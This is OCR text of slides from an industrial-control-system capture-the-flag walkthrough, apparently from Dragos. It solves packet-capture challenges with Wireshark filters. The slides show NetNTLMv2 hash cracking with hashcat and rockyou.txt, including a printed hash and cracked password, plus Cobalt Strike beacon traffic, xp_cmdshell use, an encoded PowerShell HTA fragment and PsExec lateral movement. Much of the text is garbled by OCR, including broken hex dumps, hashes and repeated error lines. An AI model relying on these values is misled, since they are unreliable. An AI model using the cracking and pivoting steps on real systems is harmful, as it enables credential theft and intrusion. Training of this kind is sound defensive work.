
Request,

Response,

Request,
Response

Request,

Response,

Reguest,

User: \myuser fldg
STATUS_LOGON_FAILURE

_FAILURE
u
Error: STATUS_LOGON_FAILURE
U : \myuser fldg
Error: STATUS_LOGON_FAILURE
User: \myuser fldg
Error: STATUS_LOGON_FAILURE
User
1 STATUS_LOGON_FAILURE
\myuser fldg
STATUS_LOGON_FATILURE
User: y - flag
Error: STATUS_LOGON_FAILURE
Us yuserisatldg
Error: STATUS_LOGOM_FATILURE
\myuserisafldg
1 STATUS_LOGON_FAILURE
User: \myuser fldg
Error: STATUS_LOGON_FAILURE

User: \myuser fldg

&

Y,



What'’s the password?

Level 3 — Flag 8

Were you able to determine the weak Points: 10
password that was brute-forced by the Flag:

adversary? dragon

DRAGCS



What’s the password?
Level 3 Flag 8

Locate NTLMSSP request/response with WORKGROUP/myuserisafl4g

From NTLMSSP_CHALLENGE, record NTLM Server Challenge

From NTLMSSP_AUTH, record NTLM Response, user name, and domain name

Format recorded info in text document user::domain::challenge:response with another
colon 32 bytes into the response (before 0101)

l.e.
MYUSERISAFLAG::WORKGROUP:774¢cc62b11033662:bd76f9b0ccea33491clad53e2aeed
:0101000000000...

Format the hash and run hashcat or john the ripper to crack the hash with Rockyou.txt
https://research.801labs.org/cracking-an-ntimv2-hash/



https://research.801labs.org/cracking-an-ntlmv2-hash/

What'’s the password? — Solution
Hashcat Format / Cracking Results

MYUSERISAFL4G: :WORKGROUP:774cc62b11033662:bd76f9b0Occea33491b91clad53e2aee4:01010000000
00000e143e964cd12d6019b27e69741d9358d0000000002001e00570049004€002d0042004600450039003
700320044004d0046003900370001001e00570049004e002d0042004600450039003700320044004d00460
03900370004001e00570049004e002d00420046004500390037003200440040d0046003900370003001e005
70049004e002d00420046004500390037003200440040d0046003900370007000800e143e964cd12d601060
00400020000000800300030000000000000000000000000000000d2036b2177ea19106143a611d2fa8cf87
91fd1573a614ede62340d15cd49e6d30a0010000000000000000000000000000000000009001006300690
0660073002100310030002e0031003000200310030002c00330000000000

Status...........: Cracked
Hash.Type........: NetNTLMv2
Hash.Target......: MYUSERISAFL4G: :WORKGROUP:774cc62b11033662:bd7619b0cC. . .000000

Candidates.#3....: dragon -> dragon

260



Pivots and Payloads

Level 3 — Flag 9

The adversary appears to have pivoted
throughout the network based on the
widespread impact we are seeing. We suspect
that the main pivot point being used by the
adversary is the Historian server. The
Historian server bridges multiple ICS networks
so that it can centrally collect and manage the
operational data. Can you find evidence that
has been embedded into the protocol used to
communicate across multiple ICS networks?

DRAGCS

Points: 10
Flag:
{F14G-c2-host-
header}

Hint:

We believe the
adversary has been
using Cobalt Strike
HTTP beacons as
their C2
infrastructure.



Pivots and Payloads
Level 3 Flag9

The flag description mentioned that the adversary is using the Historian server as a
pivot point. If we filter by one of the Historian addresses, we can quickly identify the C2
traffic:

ip.addr == 10.10.10.5

Filtering by HTTP also helps to narrow things down quite a bit:

ip.addr == 10.10.10.5 && http

“Find packet” by string “submit.php”
http.request.uri contains "submit.php"
Look at host context in the packet bytes to see the flag




Pivots and Payloads

Time Source Destination Proto Leng
3845.996257 10.1e.10. l16.10. 1 HTTP 665 /submit. 8 HTTP/1.@
3906.966529 10.1e.10. 16.10 ul HTTP 665 /submit. 8 HTTP/1.@
.847845 10. 1 HTTP 665 /submit. HTTP/1.@
8.805056 10. -4l HTTP /submit. HTTP/1.@
10.18.16. 8.1 11 HTTP fsubmit. HTTP/1.@
10. 1 HTTP f/submit. 8 HTTP/1.@
10. 1 HTTP f/submit. HTTP/1.@
10. 1 HTTP /submit. 8 HTTP/1.@
10.18.10. 8.10. 11 HTTP /submit. 8 HTTP/1.@
10.18.10. B. 11 HTTP /submit. 8 HTTP/1.@
10.18.10. 8.10. 1 HTTP /submit. 8 HTTP/1.@
. 4542 _.576790 10.18.10. 8. ul HTTP /submit. 8 HTTP/1.@
. 4615.241222 @.10.10. 8.10. 11 HTTP /submit. 8 HTTP/1.@

Frame 15 6 ytes on 1 , 665 bytes captured (5
Ethernet II, Src: . :3e:83: : AmazonTe 21:fa:bb (5@:dc:e7:21:fa:bb)
Internet Protocol Version 4, Src: 18. 8 : .18.11

Transmission Control Protocel, Src Port ; 30, g 1, Len: 611

w Hypertext Transfer Protocol

POST /submit.php?id=165983988 HTTP/1.@\r\n
PP ——
content-Type: application/octet-s
Host: {F14G-c2-ho header}\ri\n
-Agent: Mozilla/4.0 (compatild v .8; Windows NT 5.1)\r\n
Content-Lengai.
Connection: Keep-Alive
Pragma: no-cachel

\r\n

DRAGC



QFD Details SIS

Map ADD TIME RANGE
[~] Add a filier + Actions »
Assets
HTTP Sessions
= 1-500f65 €
Data
Time src_ip dst_ip dst_port method host uri status_code status_msg
i ¥ April 24th 2020, 13:28:42.107  10.10.10.5 10.10.10.11 80 POST {f14g-c2-host-header} Jsubmit.php?id=165983908 200 OK
Notifications ¥ April 24th 2020, 13:28:41.207  10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} /_utm.gif 200 0K
v April 24th 2020, 13:27:40.306  10.10.10.5 10.10.10.11 B0 GET {f14g-c2-host-header} /__utm.gif 200 0K
Content »  April 24th 2020, 13:26:40.105 10.10.10.5 10.10.10.11 80 POST {f14g-c2-host-header} /submit.php?id=165983908 200 0K
!J v April 24th 2020, 13:26:33.206  10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} /__utm.gif 200 0K
Baselines »  April 24th 2020, 13:25:37.771  10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} /__utm.gif 200 0K
v April 24th 2020, 13:24:36.112  10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} J_utm.gif 200 0K
Reports »  April 24th 2020, 13:23:35.010 10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} /_utm.gif 200 0K
v April 24th 2020, 13:22:33.710  10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} J_utm.gif 200 0K
[©)]
- »  April 24th 2020, 13:21:32.610 10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} /__utm.gif 200 0K
ensors
v April 24th 2020, 13:20:31.607  10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} J_utm.gif 200 0K
v April 24th 2020, 13:19:30.506  10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} J_utm.gif 200 0K
Admin
»  April 24th 2020, 13:18:29.196  10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} /__utm.gif 200 0K
v April 24th 2020, 13:17:28.096  10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} J_utm.gif 200 0K
»  April 24th 2020, 13:16:27.895 10.10.10.5 10.10.10.11 80 POST {f14g-c2-host-header} Jsubmit.php?id=165983908 200 0K
v April 24th 2020, 13:16:26.895  10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} /__utm.gif 200 0K
»  April 24th 2020, 13:15:25.795 10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} J_utm.gif 200 0K
v April 24th 2020, 13:14:25.492  10.10.10.5 10.10.10.11 80 POST {f14g-c2-host-header} Jsubmit.php?id=165983908 200 0K
» April 24th 2020, 13:14:24.592  10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} J_utm.gif 200 OK

v April 24th 2020, 13:13:11.590  10.10.10.5 10.10.10.11 80 GET {f14g-c2-host-header} /o utm.gif 200 oK - -




Solar PLC Model Name
Level 3 — Flag 10

The ICS Solar Network monitors the Points: 5
Microgrid’s solar power generation capability. Y

The process monitors the solar inverters CPU 315-2 PN/DP
which provides details about the health of the Hint s 4
system and the amount of power being int:
generated. There appears to have been a PLC  [RASHIE

program change around the time of the
incident. Can you identify the PLC systems
involved? What is the full model name of the
Siemens PLC used in the Solar network?

DRAGCS



Solar PLC Model Name
Level 3 Flag 10

Filter by the Solar network:

ip.addr == 192.168.0.0/24

We can see there is a lot of S7 traffic in this network.

Filter again by s7comm protocol:

ip.addr == 192.168.0.0/24 && s7comm

Scrolling the remaining traffic, we will see the packet containing the model number.
Or we can search for the “CPU” value in the frame:

ip.addr == 192.168.0.0/24 && s7comm && frame contains "CPU"




Solar PLC Model Name

Time Source Destination Protc Len¢ Info

6149.462.. 192.168. 192.168. S7C.. 301 ROSCTR:[Userdata] Function:[Response’
6151.186.. 192.168. 192.168. S7C.. 301 ROSCTR:[Userdata] Function:[Response’
6152.569.. 192.168. 192.168. S7C.. 301 ROSCTR:[Ack_Data] Function:[Upload]
6152.680.. 192.168. 192.168. S7C.. 301 ROSCTR:[Ack Data] Function:[Upload]
6240.184.. 192.168. 192.168. S7C.. 301 ROSCTR:[Userdata] Function:[Response’
6249.635.. 192.168. 192.168. S7C.. 301 ROSCTR:[Ack Data] Function:[Upload]
6249.738.. 192.168. 192.168. S7C.. 301 ROSCTR:[Ack_Data] Function:[Upload]
6254.9@8.. 192.168. 192.168. S7C.. 301 ROSCTR:[Ack_Data] Function:[Download
6412.870.. 192.168. 192.168. S7C.. 301 ROSCTR:[Userdata] Function:[Response’
6425.598.. 192.168. 192.168. S7C.. 301 ROSCTR:[Userdata] Function:[Response’

®

® 060 0 ® © ® © ® ®
® 0 60 00 0 0 &

>

Error code: No error (@xeeee)
v Data (S7COMM fragment id=21)
Return code: Success (@xff)
Transport size: OCTET STRING (©x09)
Length: 214
A .

[, P

eese o1

81 50 4c

00 00 00

20 20 B2 CPU 3 15-2 PN/
44 50 00 DP

20 20 °e ]

00 90 ©0

00 00 00 0 riginal
53 69 65 Siemens Equipmen

DRAGC



Solar PLC Station Name

Level 3 — Flag 11

Siemens Devices can be assigned a Points: 8
"Station Name" - Can you please confirm Flag:

the station name of the Siemens PLC that {FLAG_SOLAR_PLC_NAME}
is being used to control inverters in the
Solar network?

DRAGCS



Solar PLC Station Name
Level 3 Flag 11

Filter again by s7comm protocol and the solar network:
ip.addr == 192.168.0.0/24 && s7comm

Look at packets with info “ROSCTR: [Userdata]”
OR packets with info “ROSCTR: [Ack_Data] Function[Download block]”

You could also filter by Download function:
s7comm.param.func == Ox1b
Look at packet bytes to see the flag




Solar PLC Station Name

Source Destination Prote Len¢ Info
. 192.168. 192.168.0.1 S7C.. 301 ROSCTR:[Ack_Data] Function:[Download
. 192.168. 192.168.0.11 S7C... 89 ROSCTR:[Job ] Function:[Download
. 192.168. 192.168.0.1 S§7C.. 179 ROSCTR:[Ack_Data] Function:[Download
. 192.168. 192.168.0.11 S7C... 89 ROSCTR:[Job ] Function:[Download
. 192.168. 192.168.0.1 S7C.. 301 ROSCTR:[Ack_Data] Function:[Download
. 192.168. 192.168.0.11 S7C... 89 ROSCTR:[Job ] Function:[Download
. 192.168. 192.168.0.1 S7C.. 185 ROSCTR:[Ack_Data] Function:[Download
. 192.168. 192.168.0.11 S7C... 89 ROSCTR:[Job ] Function:[Download
. 192.168. 192.168.0.1 S7C.. 271 ROSCTR:[Ack_Data] Function:[Download
. 192.168. 192.168.0.11 S7C... 89 ROSCTR:[Job ] Function:[Download

@

® 0 0 ® 0 ® 0 ® ® ®
® 0 0 0 & ®© ®

>

Parameter length: 2
Data length: 226
Error class: No error (@xee)
Error code: @0x@0
v Parameter: (Download block)
Fisimemdaam:s PaimnToand bhlaal
eeea 32 2---A--- ----[H--
20
2o
12
00 --t-{FLA G_SOLAR_
50 PLC_NAME }---CPU
33 315-2 PN /DP

DRAGC



Solar PLC Unauthorized Program Modifications

Level 3 — Flag 12

The solar panel inverter monitoring PLC has become Points: 5
unresponsive and we are no onger able to get data Flag:

about our solar production KWh. We suspect that an 8-
unauthorized program was downloaded to the PLC. The {FLAG99}
operations team reported seeing a Function Block they Hint:
are not familiar with called FB13. Function Block (FBD) is None

a standard IEC 61131-3 programming language (much
like Ladder Logic) in which all functions are put into
blocks. Can you determine the name of the name of
Block that was downloaded?

DRAGCS



Solar PLC Unauthorized Program Modifications
Level 3 —

Download Function Display filter “s7comm.param.func == Ox1b”
Look for function block download for “FB13”

OR

“Find packet” by hex value “46:4c:41:47"

Look at packet bytes to see the flag




Solar PLC Unauthorized Program Modifications

DRAGC

Info
ROSCTR: [Job

]

ROSCTR: [Ack_Data]

ROSCTR: [Job

]

ROSCTR: [Ack_Data]

ROSCTR: [Job

]

ROSCTR: [Ack_Data]

ROSCTR: [Job

]

ROSCTR: [Ack_Data]

ROSCTR: [Job

]

ROSCTR: [Ack_Data]

<

Function:
Function:
Function:
Function:
Function:
Function:
Function:
Function:
Function:
Function:

Error code: ©xee
v Parameter:

Function Status:

v Data

eeee 32
e
[55]
ee
4b
46
e

[Download
[Download
[Download
[Download
[Download
[Download
[Download
[Download
[Download
[Download

(Download block)
Function: Download block (@x1lb)
exee

Block

Block

Block

Block

Block

: [SDB208]
: [SDB@]
: [SDB@]
: [SDB@]

:[FB13]

KYBERITE {FLAG99}
FLAGNAME




Site Office Pivot

Level 3 — Flag 13

There are very few connections between
the plant network and the site

office. Somehow the adversary was able
to pivot from one of the ICS networks into
the site office network. What protocol
was used to allow the adversary to pivot
into the site office network?

DRAGCS



Site Office Pivot

Level 3 —

BINJEVRIIEE
“(ip.src==10.0.0.0/24 | | ip.dst==10.0.0.0/24) && (ip.src==10.0.0.5 | | ip.dst==10.0.0.5)"
Identify the protocol used




Site Office Pivot

(ip.src==10.0.0.0/24 || ip.dst==10.0.0.0/24) && (ip.src==10.0.0.5 || ip.dst==10.0.0.5)

Time Destination Protc Len¢ Info

5516.233.. 18.0.8.5 TCP 81 5900 - 3532 [PSH, ACK] Seq=4383281 Ac
5516.233.. 10. VNC 64 Client framebuffer update request
5516.437... 18. TCP 54 5900 - 3532 [ACK] Seq=43033088 Ack=2@1
5516.679... 10. o = 3532 [PSH, ACK] Seq=4383308 Ac
5516.679... 1 VNC 64 Client - ramebuffer update request
5516.879.. 10. Tob SOETS 3532 [ACK] Seqg=4303346 Ack=20]
5517.079... 10. TCP 5900 - 3532 [PSH, ACK] Seq=4383346 Ac
5517.879.. 10. VNC 64 Client framebuffer update request
5517.111.. 10. TCP 5900 - 3532 [PSH, ACK] Seq=4383445 Ac
5517.111.. 10. VNC 64 Client framebuffer update request

®

[ T R SV
® 0 0 ® 4 @ 0 o .

>

Ethernet II, Src: VMware_44:55:93 (©0:9c:29:44:55:93), Dst: Dell_a4:34:1@ (f8:db:88:a4:34:18) A
Internet Protocol Version 4, Src: 10.8.8.5, Dst: 10.6.0.1
Transmission Control Protocol, Src Port: 3532, Dst Port: 5900, Seq: 20171, Ack: 4303346, Len: 1
v Virtual Network Computing
v Client Message Type: Framebuffer Update Request (3)
Incremental update: True
X position: @

f8 db 88 a4 34 10 00 ©c 29 44 55 93 08 00 45 00
60 32 16 =0 40 00 20 EE cf e0 @a 00 00 05 Ba 60
00 01 @d cc 17 Oc 3@ bc d9 bd 51 3e cb bl 50 18
f5 9a 4b 27 00 00 93 @1 ©O 0O 00 00 07 80 04 38

DRAGC



MS-SQL Code Execution

Level 3 — Flag 14

We believe the MSSQL server may have been Points: 2
compromised by unauthorized access to the SQL Flag:

server database in the Site Office network. How
can you determine if remote code execution was Xp_C mdshell
executed on the MSSQL server? The flag is the Hint:

command used by the adversary for remote

None
command execution through a MSSQL database.

DRAGCS



MS-SQL Code Execution

Level 3 —

Follow TCP stream between 10.0.0.128 and 10.0.0.130:

(ip.addr ==10.0.0.128 || ip.addr ==10.0.0.130) && tcp.port == 1433

Look for “xp_cmdshell”




MS-SQL Code Execution

(ip.addr == 10.0.0.128 || ip.addr == 10.0.0.130) && tcp.port == 1433

Destination Proto Lenc Info

10.0.0.131 TCP 1514 46271 - 1433 Seq=44805 Ack=1448
16.0.0.131 TDS 194 SQL batch

10.0.0.128 TCP 54 1433 » 46271 Seq=1448 Ack=46405 ——
16.0.0.128 TDS 116 Response

10.0.0.131 TCP 60 46271 -» 1433 Seq=46405 Ack=1510
16.0.0.131 TCP 1514 46271 - 1433 Seq=46405 Ack=151@
10.0.0.131 TCP 1514 46271 - 1433 Seq=47865 Ack=151@
16.0.0.131 TDS 194 SQL batch

10.0.0.128 TCP 54 1433 » 46271 Seq=151@ Ack=49465
16.0.0.128 TDS 116 Response

®

o0 0 0 0 0 60 0 60 ®
@

.9.
.9.
.9.
.9.
.9.
.9.
.9.
.9.
.9.

® 0 ® 0O ® © ® © ®

Frame 207919: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits)
Ethernet II, Src: Microsof_f9:e6:07 (74:e2:8c:f9:e6:07), Dst: RivetNet_b7:19:0a (9c:b6:d@:b7:19
Internet Protocol Version 4, Src: 10.9.0.128, Dst: 10.0.0.131
v Transmission Control Protocel, Src Port: 46271, Dst Port: 1433, Seq: 64765, Ack: 1882, Len: 146
Source Port: 46271
Destination Port: 1433
[Stream index: 5943]

00 f5 99 8c 00 @0 01 @1 6b f4 00 @0 16 @0
58 90 45 00 43 00 20 00 6d 00 61 00 73 00
65 00 72 00 2¢ 90 2¢ @0 78 00 70 @@ 5f 00
6d 00 64 00 73 90 68 @@ 65 00 6C @@ 6¢C Of
27 90 65 00 63 00 68 00 6f 00 20 00 2f °u

DRAGC



SQL Server xp_cmdshell observed - possible pivot

DETECTED BY: SOURCE ASSOCIATED ASSETS Viewing Time Range: 2:00 PM to 2:30 PM 04/24/20 UTC
MS SQL Server 0S Commands Network Traffic

View B Type Name + Dir =
PLAYBOOKS: CASES:

No Associated Playbooks No Cases Linked VIEW ‘ Asset Asset 101 10.00.128  src

DETECTION QUAD: ICS ATT&CK TACTIC:

Threat Behavior Initial Access, Lateral Movement, ...

ICS ATT&CK TECHNIQUE ACTIVITY GROUP:

Data Historian Compromise, Exploitation of Remote Services, E.L

ICS CYBER KILLCHAIN STEP: QUERY-FOCUSED DATASETS
St No Applicable Query-Focused Datasels

Notifications OCCURRED AT: ZONES:
04/24/20,02:00 PM UTC No Associated Zones

WHAT HAPPENED:
SQL Server xp_cmdshell observed - possible pivot
Content

RELATED NOTIFICATIONS (0):
!J D = Occurred At Summary

Baselines

Reports No Related Notifications

@

Sensors

CREATE A RULE CREATE CASE NEXT >




Clear-text Authentication

Level 3 — Flag 15

We expect there are some poor security Points: 3
practices within the environment. See if Flag:

you can discover any clear-text credentials EEEF-L MR IR I RN
being used on the Site Office network. 1n_Th3_C13@r

DRAGCS



Clear-text Authentication
Level 3 —

Filter traffic by the Site Office network:
ip.addr == 10.0.0.0/24

Filter by FTP

ip.addr == 10.0.0.0/24 && ftp

Look through info for “Request: PASS flag”




Clear-text Authentication

(I |ip.addr == 10.0.0.0/24 &®& ftp

No. Time Source Destination Proto Len¢ Info
7400. .. 10.0.0. 10.0.0.128 FTP 81 Response: Microsoft FTP Service
7404. . 10.0.9. l10.0.0.129 FTP 69 Request: ftp-user
7404. .. 10.0.0. 10.90.0.128 FTP 77 Response: Password required
7413. .. 10.0.0. 10.90.0.129 FTP 88 iRequest: Dragos_1ts_@11_1n_Th3_Cl3@r
7413. .. 10.0.0. 10.90.0.128 FTP 75 Response: User logged in.
7413, e WEL @G 10.9.0.129 BiP 60 Request:
7413. .. 10.0.0. 16.0.0.128 FTP 70 Response: Windows_NT

Frame 208704: 88 bytes on wire (704 bits), 88 bytes captured (704 bits)
Ethernet II, Src: Microsof f9:e6:07 (74:e2:8c:f9:e6:07), Dst: IntelCor_24:d9:1b (50:eb:71:24:d9
Internet Protocol Version 4, Src: 10.8.0.128, Dst: 10.9.0.129
v Transmission Control Protocol, Src Port: 39418, Dst Port: 21, Seq: 16, Ack: 51, Len: 34
Source Port: 39410
Destination Port: 21
[stream index: 5945]

eb 71 24 d9 1b 74 e2 26 07 08 00 45 10 P-g$- -t

4a da 78 40 @0 40 @6 Ga 00 00 80 @a @0 -J1-X@-@ K%
81 99 f2 @@ 15 31 98 a3 al 8c 98 50 18 - D
e5 cl c9 @e @e 5o 41 26 44 72 61 6740 PA SS Drago
5f 31 74 73 5f 48 6¢ 31 6e 5f 54 65033 s_1ts_@1 1_1n_Th3




New SMB Shares/Users

Level 4 — Flag 1

We suspect the intruder enumerated Points: 3

open shares in the Site Office network Flag:

looking for important files. We suspect a Dragos_S3cr3t_F
list of passwords was found on an open 113

share in the network. Can you confirm Hint:

that this secret file was discovered? Something Message

Block?

DRAGCS



New SMB Shares/Users

Level 4 —

Filter by the site office network and SMB
ip.addr == 10.0.0.0/24 && smb

In file tab, Export Objects -> SMB

Save “SecretFile.txt”

Open and view flag

NetMiner and zeek make it easy to extract files like this also.




New SMB Shares/Users

(I |ip.addr == 10.0.0.0/24 && smb [X]

No. Time Source Destination Proto Lenc Info
208790 7449.566567 10.6.8.131 10.0.0.128 SMB 164 Trans2 Request, QUERY_PATH_INFQ, Query
208791 7449.568145 10.06.8.128 16.06.0. SMB 154 Trans2 Response, QUERY_PATH_INFO
208792 7449.568357 10.6.8.131 10.0.0.128 SMB 174 NT Create AndX Request, FID: ©x@001, Pe
208793 7449.569803 10.06.8.128 16.06.0. SMB 161 NT Create AndX Response, FID: @x@80@1l
208794 7449.569915 10.6.8.131 10.0.0.128 SMB 138 Trans2 Request, QUERY_FILE_INFQ, FID: €
208795 7449.571400 10.0.8.128 10.0.0. SMB Trans2 Response, FID: @x0001, QUERY_FIL
208796 7449.571513 10.0.8.131 10.0.0.128 SMB 130 Trans2 Request, QUERY_FILE_INFQ, FID: €
208797 7449.572966 10.0.8.128 10.0.0. SMB 154 Trans2 Response, FID: @x@001, QUERY_FIL
208798 7449.573640 10.0.8.131 10.0.0.128 SMB 130 Trans2 Request, QUERY_FILE_INFQ, FID: €
208799 7449.574488 10.0.8.128 10.0.0. SMB Trans2 Response, FID: @x0001, QUERY_FIL
208800 7449.574584 10.0.8.131 10.0.0.128 SMB 130 Trans2 Request, QUERY_FILE_INFQ, FID: €
208801 7449.576844 10.0.8.128 10.0.0. SMB Trans2 Response, FID: @x0001, QUERY_FIL
208802 7449.576158 10.0.8.131 10.0.0.128 SMB 117 Read AndX Request, FID: 8x@@01, 512 byl
208803 7449.577310 10.06.8.128 16.6.0. SMB 136 Read AndX Response, FID: @x8e@81, 19 byl
208804 7449.577383 10.0.8.131 10.0.0.128 SMB 117 Read AndX Request, FID: @x00@1, 493 byi
208805 7449.578608 10.0.8.128 10.0.0. SMB 117 Read AndX Response, FID: @x0@01, @ byte
208806 7449.579875 10.0.8.131 10.0.0.128 SMB Close Request, FID: @x0001
208807 7449.580494 10.0.8.128 10.0.0. SMB Close Response, FID: 0x@081

[Disposition: Open (if file exists open it, else fail) (1)]
Word Count (WCT): 12
AndXCommand: No further commands (@xff)
Reserved: 09
AndXOffset: @
[File Offcet:- A1

bd 2 71 83 ¢3 97 ee 93 24 5a

e7 02 00 00 28 00 4e ff ad 42

80 @1 c8 00 00 ©0 80 6o 00 e

@0 ff fe 0a @@ 20 090 Oc 60 60

22 02 13 @@ 3b ©0 o0 e 82490 3

13 @@ 44 72 61 67 6f 73 50 55733 Dra gos_S3cr
31 bc 33 Qa 3t _F113




Powershell Code Execution via mshta.exe

Level 4 — Flag 2

The SOC intercepted traffic in the Wind
Turbine Network of clients browsing to
internal sites hosting hta files. Can you
determine how the intruder is pivoting
throughout the Wind Turbine Network?

DRAGCS

Points: 10
Flag:
Dragos_POw3rSh3
11 Plvetlng
Hint:

What type of files

would you expect
to execute with
mshta.exe?



Powershell Code Execution via mshta.exe
Level 4 —

Filter by the Wind Turbine Network and look for “hta” in the packet frame:
ip.addr == 10.10.30.0/24 && frame contains "hta"

“Find packet” by string for “dragos.hta”
Follow TCP Stream
Look for flag




Powershell Code Execution via mshta.exe @

Z

[ | ip.addr == 10.10.30.0/24 && frame contains "hta" \

No. Time Source Destination Proto Lenc Info

208753 7449.199802 18.10.36.129 18.18.36.131 HTTP 391 GET /dragos.hta HTTP/1.1
208757 7449.280598 10.108.30.131 10.108.30.12%9 TCP 1514 8@ » 50017 [ACK] Seq=18 Ack=338 Win=64128 Len=146

Checksum: @xbdfc [unverified]
[Checksum Status: Unverified]
Urgent pointer: @

[SEQ/ACK analysis]
[Timestamps]

2030 @1 f5 ba fc [EIEE |Blse rver: Si
70 6c 65 54 mpleHTTP /@.6 Pyt
6f Be 2f 2e hon/2.7. 17- -Date
20 ad ef 2c : Mon, 2 © Apr 20
30 26 32 3a 20 22:51 :16 GMT
43 6F 6Ge 65 Content -type: a
78 6c 69 pplicati on/hta
6f Be 74 Content- Length:
33 33 36 5336--La st-Modif
65 3a ied: Mon , 20 Apr

32 0
Ba MT # Dragos P
72 ew3rsh3l 1_Plvetl

3c ng-<html ><head><

69 script>v ar = 'p

208 sta -w il -enc S




PSExec Detection

Level 4 — Flag 3

We believe the OPCO1 Server in the Wind e RRRs-auNN~
Turbine Network may have been Flag:
compromised. What method did the PSEXESVC. exe
attacker use to pivot to the OPCO1 Server?

DRAGCS



PSExec Detection
Level 4 —

Filter by Protocol smb2 and the Wind Turbine Network:
ip.addr == 10.10.30.0/24 && smb2
Look for "Create Request File: PSEXESVC.exe"




PSExec Detection

(I |ip.addr == 10.10.30.0/24 && smb2 =

No. Time Source Destination Proto Lenc Info
208964 7478.512860 1@.10.38.130 10.10.36.128 SMB2 178 TIoctl Request FSCTL_QUERY_NETWORK_INTER
208965 7478.513031 1@.10.30.128 19.10.36.138 SMB2 778 TIoctl Response FSCTL_QUERY_NETWORK_INTE
208966 7478.513442 1@.10.38.130 10.10.36.128 SMB2 172 Tree Connect Request Tree: \\10.10.30.-7
208967 7478.51376@ 1@.10.308.128 10.10.36.138 SMB2 138 Tree Connect Response
208968 7478.514322 1@.10.38.130 10.10.36.128 SMB2 234 Create Request File:
208969 7478.514466 1@.10.308.128 10.10.36.138 SMB2 298 Create Response File:
208970 7478.514830 1@.10.38.130 10.10.36.128 SMB2 Close Request File:
208971 7478.514934 1@.10.308.128 10.10.36.138 SMB2 Close Response
208972 7478.515315 1@.10.38.130 10.10.36.128 SMB2 Create Request File: PSEXESVC.exe
208973 7478.515723 1@.10.308.128 10.10.36.138 SMB2 Create Response File: PSEXESVC.exe
209820 7478.517656 192.10.30.130 10.10.30.128 SMB2 Write Request Len:65536 Off:@ File: PSE
209835 7478.518298 10.10.320.128 10.10.30.139 SMB2 Write Response
209868 7478.51845@ 192.10.30.130 10.10.30.128 SMB2 Write Request Len:65536 Off:65536 File:
209878 7478.518716 192.10.30.130 10.10.30.128 SMB2 Write Request Len:12288 Off:131@72 File
20980 7478.519054 10.10.320.128 10.10.30.139 SMB2 Write Response
209881 7478.519106 10.10.320.128 10.10.30.139 SMB2 Write Response
209884 7478.519818 192.10.30.130 10.10.30.128 SMB2 Write Request Len:22@88 Off:143360 File:
209886 7478.519943 10.10.320.128 10.10.30.139 SMB2 Write Response

AnAAnT aawn rannan an an an aan an an an ann Franna AT of n .

Frame 208972: 382 bytes on wire (3856 bits), 382 bytes captured (3056 bits)

Ethernet II, Src: Dell b7:19:8a (b8:ca:3a:b7:19:8a), Dst: f8:d8:88:24:d9:1b (f8:d8:88:24:d9:1b)
Internet Protocol Version 4, Src: 10.108.30.130, Dst: 10.10.30.128

Transmission Control Protocol, Src Port: 497608, Dst Port: 445, Seq: 1733, Ack: 26681, Len: 328
NetBIOS Session Service

SMB2 (Server Message Block Protocol version 2)

e1 12 @0 83 ee 80 85 ee
00 0o '

0 53 56 80
09 65 10 60
o 18 -

00 0o 00 60




Notifications

Content

LN

Baselines

Reports

@

Sensors

436

A Downloaded file hit on: sysinternals_tool

DETECTED BY: SOURCE
PSExec Detection a12687dd-0b04-462a-8509-e52b5ffc4572

PLAYBOOKS: CASES:
PsExec File Transfer Detected No Cases Linked

DETECTION QUAD: ICS ATT&CK TACTIC:

Indicator Lateral Movement

ICS ATT&CK TECHNIQUE ACTIVITY GROUP:
Remote File Copy ELECTRUM, DYMALLOY,

ICS CYBER KILLCHAIN STEP: QUERY-FOCUSED DATASETS
Stage 1 - Delivery FileDownload, Yara, ...

OCCURRED AT: ZONES:
04/24/20,01.02 PMUTC Zone 1 (Inactive)

WHAT HAPPENED:
Asset 43 downloaded a file with sha256 hash of ad6b3Bc01eeB849874e4b4502c3d7853196f6044240d3271 edab3fcbe3c08e9ad from 11 which
matched the sysinternals_tool file signature rule.

RELATED NOTIFICATIONS (0)

D = Occurred At Summary

No Related Notifications.

ASSOCIATED ASSETS

MARK AS REAI

Viewing Time Range: 1:00 PM to 1:30 PM 04/24/20 UTC

View

VIEW

Type

‘ Asset
q Asset

Name s Dir =

n Asset 11 10.10.10.11 src

43 Asset 43 10.10.10.3  dst

PIVOT TO KIBANA CREATE A RULE CREATE CASE NEXT >




OPC Connection to Historian

Level 4 — Flag 4

There is a real-time OPC DA 2.0 data connection
between the Historian SCADA Server in the
Windfarm. Normally this is not enabled by the
adversary activated it for unknown reasons. We
are concerned that the adversary may be using a
variant of Havex. Can you investigate any strange
messages related to this wind farm real-time data
connection?

DRAGCS

Points: 10
Flag:
{OPC-FLAG-IS-
HERE-SO-LOOK -
NO-MORE }

Hint:

How does Wireshark
view the OPC DA
2.0 protocol?



OPC Connection to Historian
Level 4 —

Identify the historian based on its Network Name

Analysis of the traffic reveals that it is OPC

Research OPC reveals that it uses DCERPC protocol

BINJEVRIIEE

ip.addr==10.10.30.0/24 && dcerpc

Review OPC traffic and identify a description of the OPC server name, where the flag is
embedded




OPC Connection to Historian

(I [ip.addr==10.10.30.0/24 &8 dcerpc

No. Time Source Destination Proto Len¢ Info
209448 7529.754056 .10.36.5 .10.30.33 DCERPC Request: call_id: 34, Fragment: Single, opnum: 4, Ctx: @ 13486d50-4821-11d2-a494-3ch36———
209449 7529.754204 .10.30.33 .10.36.5 DCERPC Response: call id: 34, Fragment: Single, Ctx: @ 13486d50-4821-11d2-a494-3cbh306c10000 \
